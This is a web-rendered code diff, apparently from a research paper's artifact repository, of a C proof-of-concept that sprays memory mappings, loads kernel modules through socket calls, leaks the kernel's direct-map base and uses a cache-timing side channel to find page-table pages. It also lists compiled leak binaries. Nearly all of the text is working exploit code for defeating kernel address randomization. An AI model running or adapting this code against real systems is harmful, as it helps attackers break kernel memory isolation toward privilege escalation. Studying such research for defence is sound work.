addresses[i] = mmap(addr, PAGE_SIZE, PROT_WRITE|PROT_READ, MAP_FIXED|MAP_ANON|MAP_PRIVATE, -1, 0);
|
||||
// printf("[*] addresses[%ld] %0zx (%016zx)\n", i, (size_t)addresses[i], (size_t)addr);
|
||||
if (addresses[i] == MAP_FAILED) {
|
||||
perror("mmap()");
|
||||
exit(-1);
|
||||
}
|
||||
}
|
||||
void *other_addresses[PAGE_OTHER_SPRAY];
|
||||
for (size_t i = 0; i < PAGE_OTHER_SPRAY; ++i) {
|
||||
void *addr = (void *)((0x6fULL<<21) + (1ULL<<12)*i);
|
||||
other_addresses[i] = mmap(addr, PAGE_SIZE, PROT_WRITE|PROT_READ, MAP_FIXED|MAP_ANON|MAP_PRIVATE, -1, 0);
|
||||
// printf("[*] other_addresses[%ld] %0zx (%016zx)\n", i, (size_t)other_addresses[i], (size_t)addr);
|
||||
if (other_addresses[i] == MAP_FAILED) {
|
||||
perror("mmap()");
|
||||
exit(-1);
|
||||
}
|
||||
}
|
||||
printf("[*] reserve mmappings\n");
|
||||
void *addresses[PAGE_SPRAY];
|
||||
for (size_t i = 0; i < PAGE_SPRAY; ++i) {
|
||||
void *addr = (void *)((0x6dULL << 21) + (1ULL << 12) * i);
|
||||
addresses[i] = mmap(addr, PAGE_SIZE, PROT_WRITE | PROT_READ,
|
||||
MAP_FIXED | MAP_ANON | MAP_PRIVATE, -1, 0);
|
||||
// printf("[*] addresses[%ld] %0zx (%016zx)\n", i,
|
||||
// (size_t)addresses[i], (size_t)addr);
|
||||
if (addresses[i] == MAP_FAILED) {
|
||||
perror("mmap()");
|
||||
exit(-1);
|
||||
}
|
||||
}
|
||||
void *other_addresses[PAGE_OTHER_SPRAY];
|
||||
for (size_t i = 0; i < PAGE_OTHER_SPRAY; ++i) {
|
||||
void *addr = (void *)((0x6fULL << 21) + (1ULL << 12) * i);
|
||||
other_addresses[i] = mmap(addr, PAGE_SIZE,
|
||||
PROT_WRITE | PROT_READ, MAP_FIXED | MAP_ANON | MAP_PRIVATE,
|
||||
-1, 0);
|
||||
// printf("[*] other_addresses[%ld] %0zx (%016zx)\n", i,
|
||||
// (size_t)other_addresses[i], (size_t)addr);
|
||||
if (other_addresses[i] == MAP_FAILED) {
|
||||
perror("mmap()");
|
||||
exit(-1);
|
||||
}
|
||||
}
|
||||
|
||||
printf("[*] load 1st half of kernel modules\n");
|
||||
int sock_fd;
|
||||
sock_fd = socket(AF_INET, SOCK_DCCP, IPPROTO_DCCP);
|
||||
if (sock_fd < 0) {
|
||||
perror("socket(AF_INET, SOCK_DCCP, IPPROTO_DCCP)");
|
||||
exit(-1);
|
||||
}
|
||||
sock_fd = socket(SOCK_DGRAM, CAN_BCM, 0);
|
||||
if (sock_fd < 0) {
|
||||
perror("socket(SOCK_DGRAM, CAN_BCM, 0)");
|
||||
exit(-1);
|
||||
}
|
||||
sock_fd = socket(AF_VSOCK, SOCK_STREAM, 0);
|
||||
if (sock_fd < 0) {
|
||||
perror("socket(AF_VSOCK, SOCK_STREAM, 0)");
|
||||
exit(-1);
|
||||
}
|
||||
printf("[*] load 1st half of kernel modules\n");
|
||||
int sock_fd;
|
||||
sock_fd = socket(AF_INET, SOCK_DCCP, IPPROTO_DCCP);
|
||||
if (sock_fd < 0) {
|
||||
perror("socket(AF_INET, SOCK_DCCP, IPPROTO_DCCP)");
|
||||
exit(-1);
|
||||
}
|
||||
sock_fd = socket(SOCK_DGRAM, CAN_BCM, 0);
|
||||
if (sock_fd < 0) {
|
||||
perror("socket(SOCK_DGRAM, CAN_BCM, 0)");
|
||||
exit(-1);
|
||||
}
|
||||
sock_fd = socket(AF_VSOCK, SOCK_STREAM, 0);
|
||||
if (sock_fd < 0) {
|
||||
perror("socket(AF_VSOCK, SOCK_STREAM, 0)");
|
||||
exit(-1);
|
||||
}
|
||||
|
||||
/* hopefully allocate PUD of 4k mapping */
|
||||
for (size_t i = 0; i < PAGE_SPRAY; ++i)
|
||||
*(volatile size_t *)addresses[i];
|
||||
for (size_t i = 0; i < PAGE_OTHER_SPRAY; ++i)
|
||||
*(volatile size_t *)other_addresses[i];
|
||||
/* hopefully allocate PUD of 4k mapping */
|
||||
for (size_t i = 0; i < PAGE_SPRAY; ++i)
|
||||
*(volatile size_t *)addresses[i];
|
||||
for (size_t i = 0; i < PAGE_OTHER_SPRAY; ++i)
|
||||
*(volatile size_t *)other_addresses[i];
|
||||
|
||||
printf("[*] load 2nd half of kernel modules\n");
|
||||
sock_fd = socket(AF_CAN, SOCK_DGRAM, CAN_ISOTP);
|
||||
if (sock_fd < 0) {
|
||||
perror("socket(AF_CAN, SOCK_DGRAM, CAN_ISOTP");
|
||||
exit(-1);
|
||||
}
|
||||
sock_fd = socket(PF_INET, SOCK_STREAM, IPPROTO_SCTP);
|
||||
if (sock_fd < 0) {
|
||||
perror("socket(PF_INET, SOCK_STREAM, IPPROTO_SCTP)");
|
||||
exit(-1);
|
||||
}
|
||||
sock_fd = socket(PF_INET, SOCK_DGRAM, IPPROTO_L2TP);
|
||||
if (sock_fd < 0) {
|
||||
perror("socket(PF_INET, SOCK_STREAM, IPPROTO_L2TP)");
|
||||
exit(-1);
|
||||
}
|
||||
printf("[*] load 2nd half of kernel modules\n");
|
||||
sock_fd = socket(AF_CAN, SOCK_DGRAM, CAN_ISOTP);
|
||||
if (sock_fd < 0) {
|
||||
perror("socket(AF_CAN, SOCK_DGRAM, CAN_ISOTP");
|
||||
exit(-1);
|
||||
}
|
||||
sock_fd = socket(PF_INET, SOCK_STREAM, IPPROTO_SCTP);
|
||||
if (sock_fd < 0) {
|
||||
perror("socket(PF_INET, SOCK_STREAM, IPPROTO_SCTP)");
|
||||
exit(-1);
|
||||
}
|
||||
sock_fd = socket(PF_INET, SOCK_DGRAM, IPPROTO_L2TP);
|
||||
if (sock_fd < 0) {
|
||||
perror("socket(PF_INET, SOCK_STREAM, IPPROTO_L2TP)");
|
||||
exit(-1);
|
||||
}
|
||||
|
||||
size_t time;
|
||||
size_t time_n;
|
||||
size_t time_n4;
|
||||
size_t time_n8;
|
||||
size_t dpm_base = dpm_leak(TRIES);
|
||||
printf("[*] dpm_base: %016zx\n", dpm_base);
|
||||
size_t time;
|
||||
size_t time_n;
|
||||
size_t time_n4;
|
||||
size_t time_n8;
|
||||
size_t dpm_base = dpm_leak(TRIES);
|
||||
printf("[*] dpm_base: %016zx\n", dpm_base);
|
||||
|
||||
#ifdef DEBUG
|
||||
lkm_init();
|
||||
size_t real_dpm_base;
|
||||
lkm_dpm_leak((size_t)&real_dpm_base);
|
||||
if (real_dpm_base != dpm_base) {
|
||||
printf("[!] wrong dpm base %016zx != %016zx\n", real_dpm_base, dpm_base);
|
||||
exit(-1);
|
||||
}
|
||||
lkm_init();
|
||||
size_t real_dpm_base;
|
||||
lkm_dpm_leak((size_t)&real_dpm_base);
|
||||
if (real_dpm_base != dpm_base) {
|
||||
printf("[!] wrong dpm base %016zx != %016zx\n", real_dpm_base,
|
||||
dpm_base);
|
||||
exit(-1);
|
||||
}
|
||||
|
||||
size_t success = 0;
|
||||
size_t cnt = 0;
|
||||
size_t success = 0;
|
||||
size_t cnt = 0;
|
||||
|
||||
size_t pgde;
|
||||
size_t pude;
|
||||
size_t pmde;
|
||||
size_t pte;
|
||||
lkm_arb_pagetable_wald((size_t)addresses[0], &pgde, &pude, &pmde, &pte);
|
||||
size_t pud = dpm_base + (pgde & ~(0xfff));
|
||||
size_t pmd = dpm_base + (pude & ~(0xfff));
|
||||
size_t pt = dpm_base + (pmde & ~(0xfff));
|
||||
printf("[*] %010zx %010zx %010zx\n", pud, pmd, pt);
|
||||
size_t is_4kb = lkm_is_4kb(pmd);
|
||||
printf("[*] %016zx is %s page\n", pt, is_4kb ? "4kB" : "2MB");
|
||||
hit_flush_print(addresses[0], pt, TRIES*10, &time, &time_n, &time_n4, &time_n8);
|
||||
size_t pgde;
|
||||
size_t pude;
|
||||
size_t pmde;
|
||||
size_t pte;
|
||||
lkm_arb_pagetable_wald((size_t)addresses[0], &pgde, &pude, &pmde, &pte);
|
||||
size_t pud = dpm_base + (pgde & ~(0xfff));
|
||||
size_t pmd = dpm_base + (pude & ~(0xfff));
|
||||
size_t pt = dpm_base + (pmde & ~(0xfff));
|
||||
printf("[*] %010zx %010zx %010zx\n", pud, pmd, pt);
|
||||
size_t is_4kb = lkm_is_4kb(pmd);
|
||||
printf("[*] %016zx is %s page\n", pt, is_4kb ? "4kB" : "2MB");
|
||||
hit_flush_print(addresses[0], pt, TRIES * 10, &time, &time_n, &time_n4,
|
||||
&time_n8);
|
||||
#endif
|
||||
|
||||
for (size_t addr = dpm_base+(1ULL<<30); addr < dpm_base+mem_total_rounded; addr += PMD_SIZE) {
|
||||
if ((addr % (1 << 30)) == 0)
|
||||
printf("[*] addr %016zx\n", addr);
|
||||
hit_flush(addresses[0], addr, TRIES/4, &time, &time_n, &time_n4, &time_n8);
|
||||
if (time < THRESHOLD && time_n < THRESHOLD && time_n4 < THRESHOLD && time_n8 < THRESHOLD)
|
||||
continue;
|
||||
for (size_t addr4k = addr; addr4k < addr + PMD_SIZE; addr4k += PAGE_SIZE) {
|
||||
hit_flush(addresses[0], addr4k, TRIES, &time, &time_n, &time_n4, &time_n8);
|
||||
size_t found = IS_HIT(time, time_n, time_n4, time_n8);
|
||||
if (found) {
|
||||
for (size_t i = 1; i < PAGE_SPRAY && found == 1; ++i) {
|
||||
hit_flush(addresses[i], addr4k, TRIES, &time, &time_n, &time_n4, &time_n8);
|
||||
found = IS_HIT(time, time_n, time_n4, time_n8);
|
||||
}
|
||||
for (size_t i = 1; i < PAGE_OTHER_SPRAY && found == 1; ++i) {
|
||||
hit_flush(other_addresses[i], addr4k, TRIES, &time, &time_n, &time_n4, &time_n8);
|
||||
found = !IS_HIT(time, time_n, time_n4, time_n8);
|
||||
}
|
||||
}
|
||||
if (found) {
|
||||
for (size_t addr = dpm_base + (1ULL << 30);
|
||||
addr < dpm_base + mem_total_rounded; addr += PMD_SIZE) {
|
||||
if ((addr % (1 << 30)) == 0)
|
||||
printf("[*] addr %016zx\n", addr);
|
||||
hit_flush(addresses[0], addr, TRIES / 4, &time, &time_n,
|
||||
&time_n4, &time_n8);
|
||||
if (time < THRESHOLD && time_n < THRESHOLD &&
|
||||
time_n4 < THRESHOLD && time_n8 < THRESHOLD)
|
||||
continue;
|
||||
for (size_t addr4k = addr; addr4k < addr + PMD_SIZE;
|
||||
addr4k += PAGE_SIZE) {
|
||||
hit_flush(addresses[0], addr4k, TRIES, &time, &time_n,
|
||||
&time_n4, &time_n8);
|
||||
size_t found = IS_HIT(time, time_n, time_n4, time_n8);
|
||||
if (found) {
|
||||
for (size_t i = 1; i < PAGE_SPRAY && found == 1;
|
||||
++i) {
|
||||
hit_flush(addresses[i], addr4k, TRIES,
|
||||
&time, &time_n, &time_n4, &time_n8);
|
||||
found = IS_HIT(time, time_n, time_n4,
|
||||
time_n8);
|
||||
}
|
||||
for (size_t i = 1;
|
||||
i < PAGE_OTHER_SPRAY && found == 1; ++i) {
|
||||
hit_flush(other_addresses[i], addr4k,
|
||||
TRIES, &time, &time_n, &time_n4,
|
||||
&time_n8);
|
||||
found = !IS_HIT(time, time_n, time_n4,
|
||||
time_n8);
|
||||
}
|
||||
}
|
||||
if (found) {
|
||||
#ifdef DEBUG
|
||||
cnt++;
|
||||
success |= (addr4k == pt);
|
||||
cnt++;
|
||||
success |= (addr4k == pt);
|
||||
#endif
|
||||
printf("[+] found addr %016zx\n", addr4k);
|
||||
}
|
||||
printf("[+] found addr %016zx\n", addr4k);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
printf("[*] cleanup\n");
|
||||
for (size_t i = 0; i < MSG_SPRAYS; ++i)
|
||||
cleanup_queue(qids[i]);
|
||||
printf("[*] cleanup\n");
|
||||
for (size_t i = 0; i < MSG_SPRAYS; ++i)
|
||||
cleanup_queue(qids[i]);
|
||||
#ifdef DEBUG
|
||||
if (success == 1 && cnt == 1)
|
||||
printf("[+] success\n");
|
||||
else if (!is_4kb)
|
||||
printf("[!] 2MB page\n");
|
||||
else if (success == 1 && cnt > 1)
|
||||
printf("[!] multiple addresses -> retry\n");
|
||||
else if (cnt == 0)
|
||||
printf("[!] not found\n");
|
||||
else if (cnt == 1)
|
||||
printf("[!] fail with one address\n");
|
||||
else
|
||||
printf("[!] fail with multiple addresses\n");
|
||||
if (success == 1 && cnt == 1)
|
||||
printf("[+] success\n");
|
||||
else if (!is_4kb)
|
||||
printf("[!] 2MB page\n");
|
||||
else if (success == 1 && cnt > 1)
|
||||
printf("[!] multiple addresses -> retry\n");
|
||||
else if (cnt == 0)
|
||||
printf("[!] not found\n");
|
||||
else if (cnt == 1)
|
||||
printf("[!] fail with one address\n");
|
||||
else
|
||||
printf("[!] fail with multiple addresses\n");
|
||||
#else
|
||||
printf("[*] done\n");
|
||||
printf("[*] done\n");
|
||||
#endif
|
||||
return 0;
|
||||
return 0;
|
||||
}
|
||||
|
|
BIN
paper/artifacts/page-table/pt_4k_leak.elf
Executable file
BIN
paper/artifacts/page-table/pt_4k_leak.elf
Executable file
Binary file not shown.
BIN
paper/artifacts/page-table/pud_4k_leak.elf
Executable file
BIN
paper/artifacts/page-table/pud_4k_leak.elf
Executable file
Binary file not shown.
BIN
paper/artifacts/stack/stack_leak.elf
Executable file
BIN
paper/artifacts/stack/stack_leak.elf
Executable file
Binary file not shown.
Loading…
Add table
Add a link
Reference in a new issue